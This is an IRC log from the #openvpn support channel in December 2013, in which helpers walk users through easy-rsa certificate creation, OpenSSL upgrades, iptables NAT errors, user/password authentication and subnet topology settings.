14:16 -!- Nikon [~Nikon@d24-235-162-103.home1.cgocable.net] has joined #openvpn
14:16 < Nikon> hi there
14:16 < Nikon> so one more problem
14:16 < Nikon> easy-rsa isn't making my client certs
14:16 < Nikon> any ideas?
14:17 <+pekster> gamer789: So, `iptables-save -c` is vastly more useful than "scripts" that have parts that didn't work
14:17 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
14:17 < Nikon> (they're all blank)
14:17 <+pekster> gamer789: Also, next time strip comments/blanks from your configs. THere's grep syntax to do that in the bot's !configs output
14:17 <+pekster> Nikon: Using easy-rsa 2.x or 3.x?
14:18 < Nikon> whichever comes with the windows distro of openvpn
14:18 <+pekster> 2.x currently; 3.x is downloadable at the !easy-rsa URL
14:18 <+pekster> Provided you want to use the 2.x stuff you have, did you source the vars file and generate your cert
14:19 < Nikon> Well, if you mean have i edited the vars.bat and generate my ca.crt first yes
14:20 <+pekster> Not just edited; you need to source it into your environment
14:20 < Nikon> ohh yes
14:20 <+pekster> The 3.x series makes all that crap unnecessary ;)
14:21 < Nikon> Runing it prior to the build
14:21 < Nikon> yes i have done that
14:22 <+pekster> Then in the _same_ prompt you're running the build-ca and then build-key-server and build-key-pass?
14:22 < Nikon> not in the same one
14:22 < Nikon> one sec
14:22 <+pekster> That's critical in the 2.x series
14:22 <+pekster> It _requires_ the vars file _in_ your enviornment
14:22 <+pekster> You can't just "click it and expect it to work"
14:23 <@EugeneKay> And this is why I point people at XCA ;-)
14:23 <+pekster> EugeneKay: easy-rsra 3.x: now with less BS ;)
14:23 <@EugeneKay> Does it vend?
14:23 <@krzee> !vend
14:24 < Nikon> pekster: i redid it in the same enviroment but still empty keys
14:24 <@EugeneKay> It does not :-(
14:24 <+pekster> A full shell command/output history would help
14:24 <+pekster> That, or just download the 3.x codebase per: https://community.openvpn.net/openvpn/wiki/EasyRSA3-OpenVPN-Howto
14:24 <@vpnHelper> Title: EasyRSA3-OpenVPN-Howto – OpenVPN Community (at community.openvpn.net)
14:25 <+pekster> Download, extract, run shell wrapper, and type the commands shown there. No silly vars file, no country/state/city/org/OU nonsense
14:25 < gamer789> perkster the MASQUERADE didnt work
14:26 <+pekster> gamer789: Then fix the reason why; maybe you can use SNAT if you have it, otherwise build/install your missing kernel modules
14:26 < Nikon> im going with the 3 option
14:27 < gamer789> idk how to install kernel modules, im noob at linux things
14:27 <+pekster> I'm happy to look at the reason 2.x failed too, but that's the prior version and we have a (quite stable) 3.0.0-rc1 download all ready
14:27 < Nikon> errr
14:27 <+pekster> gamer789: Then join a distro channel to learn how to do it on your platform
14:27 <+pekster> !netfilter
14:27 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
14:28 < Nikon> pekster: PEM passphrase
14:28 < Nikon> i need to make one right
14:28 < Nikon> its not preexisting
14:28 <+pekster> It's an encryptiong passphrase, and no, easy-rsa does not "come with the password you want to use"
14:28 <+pekster> You invent one
14:31 < Nikon> failed to load req_extra
14:31 <+pekster> Lacking openssl newer than 0.9?
14:31 < Nikon> ...
14:32 <+pekster> What is your openssl version? `openssl --version` ?
14:32 < Nikon> i actually just uninstalled openssl not two weeks ago
14:32 <+pekster> I guess that's `openssl version` (no dashes)
14:33 < Nikon> oh
14:33 < Nikon> that comes up as .9.8h
14:33 <+pekster> How do you have such an old version :)
14:34 < Nikon> idk
14:34 <+pekster> http://slproweb.com/products/Win32OpenSSL.html
14:34 <@vpnHelper> Title: Shining Light Productions - Win32 OpenSSL (at slproweb.com)
14:34 < Nikon> its from '08 XD
14:34 <+pekster> Well, why don't you upgrade to the latest openvpn first
14:34 <+pekster> That should fix it too
14:34 <+pekster> (don't use old openssl since they have unpatched security issues)
14:35 <+pekster> 5 years out of date is unwise for security software
14:35 < Nikon> well, im not super worried about security since 0 sensitive data is being transmitted
14:36 <+pekster> Well, you'll need a 1.0.1 openssl; either update openvpn (which you should do anyway as openvpn has some security fixes in that time too) or grab the openssl I linked
14:36 < Nikon> my openvpn is actually on the newest version i think
14:37 <+pekster> Not if you openssl is from 2008; or maybe you have other openssl binaries installed in your %PATH% ?
14:37 <+pekster> If you do, you need to fix that..
14:37 <+pekster> OpenVPN 2.3.2 for Windows ships with OpenSSL 1.0.1e 11 Feb 2013
14:37 < Nikon> yea i have other openssl binaries in my path prolly
14:39 < Nikon> sigh
14:39 < Nikon> bbiab
14:39 < Nikon> ty for your help
14:39 <+pekster> From 5 years ago? :P. Quickest thing is to copy vars.example -> vars and un-comment then edit the EASYRSA_OPENSSL path, though you really should fix your automatic use of security-vulnerable versions of important things like SSL software
14:40 -!- nobit [~nobit@unaffiliated/muska] has quit [Ping timeout: 272 seconds]
14:42 -!- nobit [nobit@unaffiliated/muska] has joined #openvpn
14:54 < gamer789> pekster
14:54 < gamer789> this is the line that doesnt want to work
14:54 < gamer789> iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -d 0.0.0.0/0 -o eth0 -j MASQUERADE
14:54 < gamer789> im using debian
14:55 <+pekster> Why doesn't it work?
14:55 <+pekster> What is the error?
14:55 <+pekster> Also, -d 0/0 is pointless; leave it off
14:56 < gamer789> iptables: No chain/target/match by that name
14:56 <+pekster> So either you don't have the nat table in the kernel (or available to load) or you're missing the MASQUERADE target
14:56 <+pekster> Fix that
14:57 < gamer789> they arent available to load
14:58 <+pekster> Then install or build them
14:58 <+pekster> Ask #yourdistro if you require assistance with that
14:58 <+pekster> You can't perform NAT if your kernel doesn't have the support for it
15:01 < gamer789> would my distro be debian?
15:01 < gamer789> im linux noob D:
15:08 <+pekster> Yup, debian is a distro, and there's #debian for OS-related help
15:08 <+pekster> You can start by explaining that you tried to use the command above and are missing either the table or the MASQUERADE target
15:08 < gamer789> thanks :P
15:18 < Nikon> back
15:21 < Nikon> pekster: so after updating it says it can't find openssl
15:21 <+pekster> Did you read the referenced document?
15:21 < Nikon> wait nvm
15:21 <+pekster> :)
15:22  * Nikon punches self in face
15:22 < Nikon> i spelt it wrong ;-;
15:22 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
15:25 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
15:26 < Nikon> pekster: where can i put the nopass
15:27 <+pekster> After the command/basename. `./easyrsa help gen-req` for help output (that works for every command if you need extra help)
15:28 < Nikon> so once i request them i dont need to have the nopass while signing?
15:29 <+pekster> nopass is only an option when you are creating keypairs, and that leaves them unencrypted on disk
15:30 < Nikon> ahh
15:30 < Nikon> also do i need the csr files or no?
15:31 <+pekster> The .req files (a "certificate request", or "CSR") is sent to the CA. It's all explained in the howto I linked earlier: https://community.openvpn.net/openvpn/wiki/EasyRSA3-OpenVPN-Howto
15:31 <@vpnHelper> Title: EasyRSA3-OpenVPN-Howto – OpenVPN Community (at community.openvpn.net)
15:31 <+pekster> Step 3
15:33 < Nikon> oh i mean like are they needed in the config folder for openvpn
15:34 <+pekster> No, the .req file is only used to obtain a signed cert from the CA
15:34 <+pekster> If you're new to PKI, there's a helpful `Into-To-PKI` document that might explain things at a more basic level
15:37 < Nikon> okie dokie
15:37 < Nikon> Also, I have all of it setup
15:39 < Nikon> i have one person setup but their gui just sits there
15:40 -!- savr [~linux@210.22.142.134] has joined #openvpn
15:40 -!- savr [~linux@210.22.142.134] has quit [Changing host]
15:40 -!- savr [~linux@unaffiliated/rvas] has joined #openvpn
15:40 < savr> hi
15:42 < Nikon> hi
15:47 < savr> I can't tunnel data through openvpn
15:47 < savr> http://pastebin.mozilla.org/3740076
15:47 < savr> http://pastebin.mozilla.org/3740087
15:50 < savr> I can't even ping the server
15:51 -!- bigbob [bigbob@7.72.100.84.rev.sfr.net] has joined #openvpn
15:54 < bigbob> Hello, i've just installed openvpn on centos 6.4, and want to test connectivity but i don't know how to setup openvpn for using cert + local users based authentication.someone could help me please ?
15:56 < savr> bigbob: best to follow a setup guide
15:59 < bigbob> i've followed this guide but , there is not any help for authentication... : https://www.digitalocean.com/community/articles/how-to-setup-and-configure-an-openvpn-server-on-centos-6
15:59 <@vpnHelper> Title: How to Setup and Configure an OpenVPN Server on CentOS 6 | DigitalOcean (at www.digitalocean.com)
16:01 < bigbob> when i try to connect with openvpn (windows) client, is ask me for username and password. is there a way for setting up (even in a simple file) a username and password only for test purpose ?
16:02 < bigbob> may be server local user or something like that ?
16:04 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Read error: Connection reset by peer]
16:04 -!- savr [~linux@unaffiliated/rvas] has quit [Ping timeout: 252 seconds]
16:10 -!- Jonatha__ [~textual@cpe-024-211-233-140.nc.res.rr.com] has joined #openvpn
16:11 -!- Jonatha__ [~textual@cpe-024-211-233-140.nc.res.rr.com] has quit [Client Quit]
16:14 -!- Nikon [~Nikon@d24-235-162-103.home1.cgocable.net] has quit [Read error: Connection reset by peer]
16:15 -!- Nikon [~Nikon@d24-235-162-103.home1.cgocable.net] has joined #openvpn
16:16 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
16:17 -!- savr [~linux@unaffiliated/rvas] has joined #openvpn
16:18 < savr> sorry lost connectivity
16:19 < savr> anyone respond?
16:20 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
16:24 <@ecrist> !ircstats
16:24 <@vpnHelper> "ircstats" is (#1) See http://secure-computing.net/logs/openvpn.html for all-time IRC stats. or (#2) See http://secure-computing.net/logs/openvpn-devel.html for all-time dev channel IRC stats.
16:24 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has quit [Quit: luc|dz]
16:26 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
16:26 < bigbob> WARNING: No server certificate verification method has been enabled.  See http://openvpn.net/howto.html#mitm for more info.
16:26 < bigbob> Sun Dec 08 21:38:17 2013 SIGUSR1[soft,private-key-password-failure] received, process restarting
16:26 < bigbob> Sun Dec 08 21:38:17 2013 MANAGEMENT: >STATE:1386535097,RECONNECTING,private-key-password-failure,,
16:26 < bigbob> i've got this error :/
16:27 <@ecrist> it's not an error, it's a warning
16:27 < bigbob> private-key-password-faillure
16:27 <@ecrist> !logs
16:27 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:28 < bigbob> Sun Dec 08 21:38:21 2013 Error: private key password verification failed
16:28 < bigbob> Sun Dec 08 21:38:21 2013 Exiting due to fatal error
16:28 <@ecrist> !configs
16:28 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
16:28 < bigbob> okay
16:35 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
16:39 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
16:39 -!- gffa_ [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:41 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
16:45 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Read error: Connection reset by peer]
16:50 -!- gamer789 [~gamer@host-063-131-216-254.dhcp.fewpb.net] has quit []
16:51  * ecrist stops waiting and finds something else to do
16:53 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has joined #openvpn
16:54 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has quit [Read error: Connection reset by peer]
16:58 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has joined #openvpn
17:03 < savr> ecrist: I don't see any logs
17:03 < savr> I can't tunnel data through openvpn
17:03 < savr> http://pastebin.mozilla.org/3740076
17:04 < savr> http://pastebin.mozilla.org/3740087
17:04 < savr> I can't even ping the server
17:11 < savr> ecrist: maybe you can help me while waiting for bigbob
17:12 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 246 seconds]
17:18 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:22 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
17:23 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 246 seconds]
17:29 < bigbob> this is my openvpn conf http://pastebin.com/kxM1qXW2  : centos 6.4, openvpn 2.3.2     client os is windows 7 64.
17:31 <+pekster> bigbob: Those configs are incompatible; line 38 has the client supplying user/pass credentials, but the server has no --auth-user-pass-verify (or a plugin) that is responsible for verifying the credentials
17:32 <+pekster> You're also missing logs
17:32 < bigbob> my client logs: http://pastebin.com/z2UEAnR5
17:34 < savr> pekster: could you help me?
17:34 < savr> it's probably an iptables problem
17:34 <+pekster> Your info is also incomplete. Dunno how you expect help when you don't supply everything asked
17:36 < savr> what am I missing pekster
17:37 < bigbob> okay then i need to remove auth-user-pass ?
17:38 < savr> I'm on ubuntu 13.10 using openvpn 2.3.2
17:38 <+pekster> savr: No logs (!logs), you've either hidden missing config stanzas or you closed a <key> with </dh> (invalid), read !configs, and your netfilter input is in worthless format (read !netfilter)
17:38 <+pekster> So basically nothing helpful
17:39 < savr> pekster: I just skipped the key all the way to dh
17:39 < savr> I can succussfully connect and no errors server or client side
17:39 < savr> !netfilter
17:39 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
17:40 < bigbob> i want to provide vpn service trough openvpn as vpn server and i need to provide ca, cert and key for all users (same for all users).I need to authenticate all users by username/password.
17:41 < savr> pekster: http://pastebin.mozilla.org/3740234
17:41 <+pekster> bigbob: Read !authpass
17:41 < bigbob> Later i will create an authentication script.But now i just need to test the first install (never installed or used openvpn before ).
17:45 <+pekster> savr: You can't run both the udp.conf and tcp.conf at the same time (overlapping network ranges is a problem.) Otherwise that looks fine and the firewall on the server looks okay
17:45 <+pekster> Line 37 of the firewall is worthless, but not hurting anything
17:45 < savr> aha
17:46 < savr> line 37 was a test to see if it fixes it
17:46 <+pekster> After like 36, like 37 never gets hit
17:46 <+pekster> line*
17:47 <+pekster> Fix the network range overlap and try it again; provided the client firewall is okay and the connection succeeds, pings should work fine
17:47 <+pekster> If not, post !logs as described
17:48 < bigbob> is it this authpass that you mean: http://embedthis.com/products/appweb/doc/man/authpass.html   ?
17:50 <+pekster> !new
17:50 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info
17:50 < savr> pekster: should I make one of them 10.9.0.0 or can I just make one 10.8.0.10 ?
17:50 < savr> networking noob
17:50 <+pekster> !cidr
17:50 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
17:51 <+pekster> savr: ^ Learn about CIDR. You're using /24's, so the _entire_ range cannot overlap at all
17:51 < savr> so it is enough to make one 10.8.1.0 ?
17:51 <+pekster> Yup
17:52 < bigbob> !authpass
17:52 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
17:56 < bigbob> --auth-user-pass-verify
17:56 < savr> pekster: http://pastebin.mozilla.org/3740235
17:56 < bigbob> fail sorry
17:57 <+pekster> savr: That end looks fine; you ^C'd it on line 13
17:57 < savr> yes I did
17:58 < savr> because it wasn't letting data through
17:58 <+pekster> And the _other_ logs?
18:00 < bigbob> !welcome
18:00 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:01 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:01 < bigbob> !howto
18:01 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
18:03 < bigbob> !ask
18:03 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
18:03 < savr> pekster: http://pastebin.mozilla.org/3740236
18:21 -!- Bebbzor [~Bebbzor@90-227-6-26-no197.tbcn.telia.com] has joined #openvpn
18:23 < savr> pekster: any ideas?
18:23 <+pekster> savr: Just got to read it now (got a lot going on)
18:24 <+pekster> Line 57, your client named 'OpenVPN' pings out almost exactly 2 minutes after connecting
18:24 <+pekster> The keepalives aren't getting delivered, although since you ^C'd the client less than 30 seconds after it connected, that explains most of the delay
18:26 < savr> hmm
18:26 <+pekster> You're pinging the endpoint? 10.8.0.5?
18:26 < savr> I'm attempting to ping a whole bunch of different things including 10.8.0.5
18:26 <+pekster> You'll have an easier time if you use subnet topoloy (read: !topology, the wiki is useful)
18:27 < savr> !topology
18:27 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
18:27 <+pekster> net30 is archaic and there for historical reasons only
18:27 <+pekster> You should still have a /32 route for 10.8.0.1 though
18:28 <+pekster> That's the endpoint to ping after net30 connects, routed via 10.8.0.5 in your routing tables
18:29 < savr> in short I should add 'topology subnet' to the server config?
18:30 <+pekster> Yup, then bounce the client
18:31 <+pekster> It's not the cause of your issue, it'll make fixing it easier
18:35 < Nikon> pekster: how does the static ip system work?
18:35 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has joined #openvpn
18:35 -!- ChanSavr [~linux@unaffiliated/rvas] has joined #openvpn
18:36 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
18:37 -!- savr [~linux@unaffiliated/rvas] has quit [Ping timeout: 252 seconds]
18:38 < ChanSavr> omg it's working!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1
18:38  * ChanSavr hugs and kisses pekster 
18:39 < ChanSavr> but it short circuited my existing irc connection ;)
18:41 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
18:56 <+pekster> Nikon: See: !static
18:57 < Nikon> !static
18:57 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
18:57 -!- ChanSavr [~linux@unaffiliated/rvas] has quit [Ping timeout: 264 seconds]
19:08 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:21 < bigbob> thank you for help pekster
19:21 < bigbob> i have to go , see you :)
19:22 -!- bigbob [bigbob@7.72.100.84.rev.sfr.net] has left #openvpn []
19:27 -!- JohnBobSmith [~JohnBobSm@208.98.251.218] has joined #openvpn
19:28 < JohnBobSmith> helo
19:28 < JohnBobSmith> I need some help setting up openvpn in linux
19:28 < JohnBobSmith> I installed it via the terminal
19:28 < JohnBobSmith> but how do I connect through it?
19:31 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
19:33 <+pekster> JohnBobSmith: Start here:
19:33 <+pekster> !new
19:33 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info
19:34 < JohnBobSmith> !howto
19:34 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:35 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:36 -!- JohnBobSmith [~JohnBobSm@208.98.251.218] has quit [Quit: Leaving]
19:52 < __FBi> Q:  If I apt-get install openvpn  Then create a ca.crt dh server.conf client.conf  :  Can I adduser  test  passwd test and login into OpenVPN?
19:53 < rob0> no
19:53 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 260 seconds]
19:55 < __FBi> how do I setup OpenVPN to accept logins with a ca file?
19:55 < __FBi> I'm a little confused about that
19:55 <+pekster> Via the !howto and the PKI section
19:55 < __FBi> thanks!
19:55 <+pekster> Or if you're really adventerous and want to try the newly released 3.0.0-rc1 easy-rsa, stuff, follow the same !howto document but do this in place of the PKI: https://community.openvpn.net/openvpn/wiki/EasyRSA
19:55 <@vpnHelper> Title: EasyRSA – OpenVPN Community (at community.openvpn.net)
19:56 <+pekster> Either way, this is your main ref:
19:56 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
19:56 <+pekster> !howto
19:56 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:56 <+pekster> __FBi: Also, refer to the help here:
19:56 <+pekster> !new
19:56 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info
19:56 -!- gardar_ [~gardar@gardar.net] has quit [Quit: bye!]
19:59 -!- gardar [~gardar@gardar.net] has joined #openvpn
20:33 -!- Carbon_Monoxide [~cmonxide@14.0.143.62] has joined #openvpn
20:33 -!- Carbon_Monoxide [~cmonxide@14.0.143.62] has left #openvpn []
20:37 < Nikon> pekster: for client-config-dir
20:37 < Nikon> is a ./ required for a lower folder?
20:44 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has quit [Quit: luc|dz]
20:46 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 250 seconds]
20:49 <+pekster> Nikon: --client-config-dir, like all other paths, are relative to your CWD. Use --cd if this is undefined, or use absolute paths
20:54 -!- Bebbzor [~Bebbzor@90-227-6-26-no197.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
21:03 -!- grep0r [grep0r@bitcoinshell.mooo.com] has quit [Ping timeout: 264 seconds]
21:15 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.2]
21:16 -!- grep0r [grep0r@bitcoinshell.mooo.com] has joined #openvpn
21:17 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
21:18 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
21:21 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
21:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:29 -!- grep0r [grep0r@bitcoinshell.mooo.com] has quit [Ping timeout: 264 seconds]
21:32 -!- grep0r [~grep0r@bitcoinshell.mooo.com] has joined #openvpn
21:51 -!- speed_racer84 [~speed_rac@172.56.21.189] has joined #openvpn
22:26 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Ping timeout: 250 seconds]
22:38 -!- JSharpe_ [~JSharpe@31.205.63.22] has quit [Ping timeout: 252 seconds]
22:39 -!- Denial [Denial@97e0995b.skybroadband.com] has quit [Changing host]
22:39 -!- Denial [Denial@unaffiliated/denial] has joined #openvpn
22:40 -!- Denial [Denial@unaffiliated/denial] has quit [Changing host]
22:40 -!- Denial [Denial@97e0995b.skybroadband.com] has joined #openvpn
22:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 246 seconds]
22:54 -!- speed_racer84 [~speed_rac@172.56.21.189] has quit [Quit: Leaving]
22:55 -!- piece3 [~quassel@14.161.15.21] has joined #openvpn
23:20 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:28 -!- bwallen [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has joined #openvpn
23:28 < bwallen> Is it possible to have multiple iroutes for a client?
23:32 -!- elfixit1 [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 246 seconds]
23:34 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
23:39 <@EugeneKay> Yup. Just give the arg multiple times.
--- Day changed Mon Dec 09 2013
00:04 < bwallen> EugeneKay: Awesome, thanks
00:30 -!- Bebbzor [~Bebbzor@sjombord-3.ictservices.se] has joined #openvpn
00:30 -!- Bebbzor [~Bebbzor@sjombord-3.ictservices.se] has quit [Client Quit]
00:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
00:48 -!- mode/#openvpn [+o plaisthos] by ChanServ
02:10 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds]
02:12 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
02:18 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
02:18 -!- james41382 [~james@unaffiliated/james41382] has quit [Disconnected by services]
02:19 -!- james41382_ is now known as james41382
02:29 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 245 seconds]
02:33 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:34 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:35 < james41382> Okay I want to setup a permanent vpn on my router using openvpn so that my lan is always behind an anonymous vpn. I ssh to the router and put the files in /etc/openvpn/client/ I edited a .ovpn setup the user/pass in a file chmod 600 it and I can connect. I can even ping various servers, but I don't have the nameservers in /etc/resolv.conf so no lookups.
02:36 < james41382> From my pc via nm it works fine.. it gets the nameservers while connecting. Not sure why it does do this from the terminal automatically. Any information would be great.
02:36 < james41382> s/does/doesn't
02:41 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
02:55 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: brb]
03:10 -!- Martin` [~martin@shell.ipv6.octocore.net] has joined #openvpn
03:13 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Quit: Byebye]
03:17 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:37 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Ping timeout: 272 seconds]
03:46 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
04:07 -!- linuxthefish [~linuxthef@185.17.148.101] has joined #openvpn
04:08 < linuxthefish> hi, why does OpenVPN not work on one of my computers?
04:08 < linuxthefish> same config, same network...
04:08 < linuxthefish> it says DNS error, but can't ping the server over VPN
04:14 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
04:15 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
04:17 < linuxthefish> some windows 8 bug?
04:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
04:27 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
04:29 -!- WinstonSmith_ [~WinstonSm@bl7-42-182.dsl.telepac.pt] has quit [Quit: off to do some thoughtcrime]
04:35 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
04:36 -!- Guest67111 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
04:36 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
04:37 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
04:44 -!- P4k3 [~P4k3@c-5a34e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
04:45 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:07 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
05:10 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:27 -!- piece3 [~quassel@14.161.15.21] has quit [Remote host closed the connection]
06:45 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:07 -!- ade_b [~Ade@193.202.255.218] has joined #openvpn
07:07 -!- ade_b [~Ade@193.202.255.218] has quit [Changing host]
07:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:18 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has joined #openvpn
07:20 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
07:20 -!- u0m3_ [~u0m3@92.80.102.164] has joined #openvpn
07:21 < pagios> hello community, i would like to configure bgp between my linux machine and the openvpn server using multiple wan links, can someone point me to the proper documentation to achieve that? than kyou
07:22 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
07:22 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
